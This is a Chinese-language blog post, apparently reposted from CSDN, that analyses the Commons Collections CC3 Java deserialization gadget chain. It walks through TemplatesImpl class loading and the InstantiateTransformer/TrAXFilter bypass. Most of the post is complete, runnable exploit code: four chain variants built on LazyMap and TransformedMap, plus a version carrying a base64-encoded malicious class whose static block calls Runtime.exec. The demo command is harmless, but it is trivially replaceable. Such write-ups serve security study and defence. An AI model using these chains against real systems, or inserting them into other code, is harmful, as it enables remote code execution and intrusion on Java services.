java反序列化cc3链分析

前言

休息完五一,继续卷,原本想结束cc链的,但是发现cc3链好像用的方法不太一样,感觉也是可以记录下来,这里感觉cc3链有一些像cc1链的变种,就像是给你一些绕过的操作
在说一句,白日梦组长永远的神!

环境搭建

这里可以参考上面cc1链,环境用的是一样的

java反序列化 cc链1 分析

动态类加载 

直接讲难的也不好,这里我们从基础开始讲起。

我们在学java基础的时候,都应该接触到了一个叫做代码块的东西吧,这里我们要使用动态类加载和代码块。

public class test {
    static {
        System.out.println(1);
    }

    public test(){
        System.out.println(2);
    }

    public void aaa(){
        System.out.println(3);
    }
}

这里我们创建一个类,里面只有一个静态代码块,然后使用两种方法的动态类加载来使用他。

第一种方法

String url = "org.example.cc3.test";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2 
test1.aaa(); //输出3

第二种方法

String url2 = "org.example.cc3.test";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2); //输出空
test test2 = (test) clazz.newInstance(); //输出1和2
test2.aaa(); //输出3

两个一起

String url = "org.example.cc3.test";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2
test1.aaa(); //输出3

String url2 = "org.example.cc3.test";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2);
test test2 = (test) clazz.newInstance(); //输出2
test2.aaa(); //输出3

这里解释一下比较多的疑惑

疑惑1:两个一起为什么下面那个不输出1了

首先我们要知道输出1使用的静态方法块,静态方法块通常是用于初始化的,所以他只会执行一次。

疑惑2:第二种方法,loadClass已经触发类,为什么没有输出1,而是等到newInstance的时候两个一起输出,这个和第一种有什么区别吗。

这里我们就要讲一下他们的区别了。

Class.forName() 除了会加载类外,还会初始化该类(执行静态代码块等)

ClassLoader.loadClass() 仅执行加载操作,不会初始化类

疑惑3:第二种方法中newInstance后,为什么一次性会输出两个

newInstance是通过调用类的默认公有构造方法来实例化对象,所以他是调用了构造方法,同时也进行了初始化的操作,所以他是会触发构造方法和静态方法块的。

注:如果没有loadClass他是不会触发静态方法块的

链子分析

第一阶段-newTransformer方法

        这里我们是使用ClassLoader来加载类,使用方法上面介绍了,这里我先讲解另一个知识点

        当 ClassLoader 加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象

        所以也就是说,当调用 loadClass() 方法时,如果该类之前没有被加载,那么底层会调用 defineClass() 方法。

这里找到这个defineClass方法,然后右键查看用法

 

这里我们找Templateslmp类下面的definClass,F4就可以到这个方法的源码地址,然后我们继续右键查看用法

这个方法调用了他,我们跟进去看看,这里是干了什么。

这里他是解析字节码数据,然后赋值一个class对象,然后在看看defineTransletClasses发现是一个私有,在继续查看方法

这里发现getTransletlndex方法是共有的,但是下面这个私有的会有更多利用

但是这里我们发现这个方法不仅触发了defineTransletClasses,而且还是使用newInstance方法,要知道我们使用的是ClassLoader类,所以就是使用loadClass方法,所以是需要newInstance帮我实例化对象,才能触发静态代码块,继续使用查看方法。

我们发现虽然这个只有一个方法,但是说他是public,甚至说他接口了Serializable,正好对上了是吧

 第二阶段-分析newTransformer构造链

 

这里我们继续看到 newTransformer方法,这里看到他是触发了一个构造方法,里面就会触发getTransletInstance方法,而且这里看到默认值都是null,这里看到getTransletInstance方法

这里我们看到,我们不能让_name为null,必须让_class为null,因为我们要触发defineTransletClasses方法,继续跟进

 

        这里我们知道了_bytecodes的值也不能是空,不然就返回一个报错。
        这里我们看到defineTransletClasses方法,他这里就是让我们传入一个byte字节码数据,然后他这里是返回一个calss对象,然后defineTransletClasses方法走,就会在getTransletInstance方法中,触发newInstance方法,就可以实例化class对象,然后就可以触发对象中的静态代码块。

继续跟进看看_bytecodes和defineClass方法

 

 这里可以看到_bytecodes是一个二维数组,传进去是一个一维数组的byte数组

    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a"); //给_name赋值,不让为空

        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("")); //字节码文件的位置
        byte[][] codes = {code};
        byField.set(templates,codes); //传进去恶意字节码文件

        templates.newTransformer();
    }

按照上面的思路,这里我们写了一个框架,这里他需要一个字节码文件我们生成一个字节码文件,先写一个java文件。

//test.java

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("notepad");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

然后我们随便运行一个东西,就会生成他的字节码文件,这里我们复制他的绝对路径,放到里面

第三阶段-解决报错 

导入进去以后尝试运行,发现run方法报错了,这个跟进报错去399看看

这里我们发现_tfactory也调用了一个方法,这里跟进看看。

这里我们发现他默认是null,所以才报错,这里我们尝试修改他的值,看看能不能触发,还是又有别的问题。

    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a"); //给_name赋值,不让为空

        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
        byte[][] codes = {code};
        byField.set(templates,codes); //传进去恶意字节码文件

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();
    }

这里又在defineTransletClasses方法中爆了一个空指针的错误,因为空指针不好判断,这里我们选择使用断点调试

        这里我们找到问题了,因为这里有一个判断,判断我们传进来的class对象的父类是否等于这个常量就是等于AbstractTranslet类,不等于就进入下面这个,因为_auxClasses是null就有了空指针错误,但是解决了,下面还有一个判断_transletIndex小于0就会报错,然而_transletIndex的默认的值就是-1,所以我们还是修改class对象的父类方便一点。

//test.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("notepad");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

修改以后再次运行,发现弹出记事本了。

 第四阶段-接壤cc1链

为什么我上面说cc3链像是cc1链的变种,因为我们后半段的逻辑都是一样的,所以这里就不废话了,唯一需要修改的地方只有这里,相当于触发他的newTransformer方法。

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", null, null)
};

exp1-LazyMap链 

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerFactory;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3test {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a"); //给_name赋值,不让为空

        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
        byte[][] codes = {code};
        byField.set(templates, codes); //传进去恶意字节码文件

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);

        Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
        Object o = constructor.newInstance(Override.class, proxyInstance);

        serialize(o);
        unserialize("1.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

exp2-TransformedMap链

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3test {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a"); //给_name赋值,不让为空

        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
        byte[][] codes = {code};
        byField.set(templates, codes); //传进去恶意字节码文件

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        hash.put("value",'b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);

        serialize(o);
        unserialize("1.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

第四阶段-绕过InvokerTransformer

cc3肯定不止这点特色,他的作者还发现一个类,可以绕过InvokerTransformer,那就是InstantiateTransformer类

        这里我们可以看到InstantiateTransformer类的transform方法

        我们看看con是什么,他相当于触发 ((Class) input)这个类的构造方法,然后input,我们是可以控制 

然后我们继续来到templates类newTransformer方法右键查看用法

这里我们看到TrAXFilter的构造方法中是触发了templates类newTransformer方法。

有人疑惑为什么不直接使用TrAXFilter类呢?

因为TrAXFilter是不能序列化的。

所以我们这样修改就可以了。

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

 exp3-LazyMap链

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3test {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a"); //给_name赋值,不让为空

        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
        byte[][] codes = {code};
        byField.set(templates, codes); //传进去恶意字节码文件

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);

        Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
        Object o = constructor.newInstance(Override.class, proxyInstance);

        serialize(o);
        unserialize("1.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

exp4-TransformedMap链

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3test {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a"); //给_name赋值,不让为空

        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
        byte[][] codes = {code};
        byField.set(templates, codes); //传进去恶意字节码文件

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        hash.put("value",'b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);

        serialize(o); //定义了一个序列化的方法
        unserialize("1.bin"); //定义了一个反序列化的方法

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

第五阶段-完美exp

我们都知道上面是使用class文件的位置来的,这就造成了一个问题,每个人的位置肯定是有一点不一样的,那么我们可以使用base64编码来让字节码文件可以显示出来,这里我将文件导入到kali中,然后base64加密

 

将上面的
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\idea\\cc1\\target\\classes\\org\\example\\cc3\\test.class"));
替换成
byte[] code = Base64.decode("yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABZMb3JnL2V4YW1wbGUvY2MzL3Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAKAAsHADAMADEAMgEAB25vdGVwYWQMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAUb3JnL2V4YW1wbGUvY2MzL3Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABcADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABwADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAOAAkAEQAMAA8ADQAQABYAEgAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAk");

base64-exp之一

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3test {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "a"); //给_name赋值,不让为空

        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byte[] code = Base64.decode("yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABZMb3JnL2V4YW1wbGUvY2MzL3Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAKAAsHADAMADEAMgEAB25vdGVwYWQMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAUb3JnL2V4YW1wbGUvY2MzL3Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABcADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABwADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAOAAkAEQAMAA8ADQAQABYAEgAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAk");
        byte[][] codes = {code};
        byField.set(templates, codes); //传进去恶意字节码文件

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        hash.put("value",'b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);

        serialize(o); //定义了一个序列化的方法
        unserialize("1.bin"); //定义了一个反序列化的方法

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

猜你喜欢

转载自blog.csdn.net/m0_64815693/article/details/130499112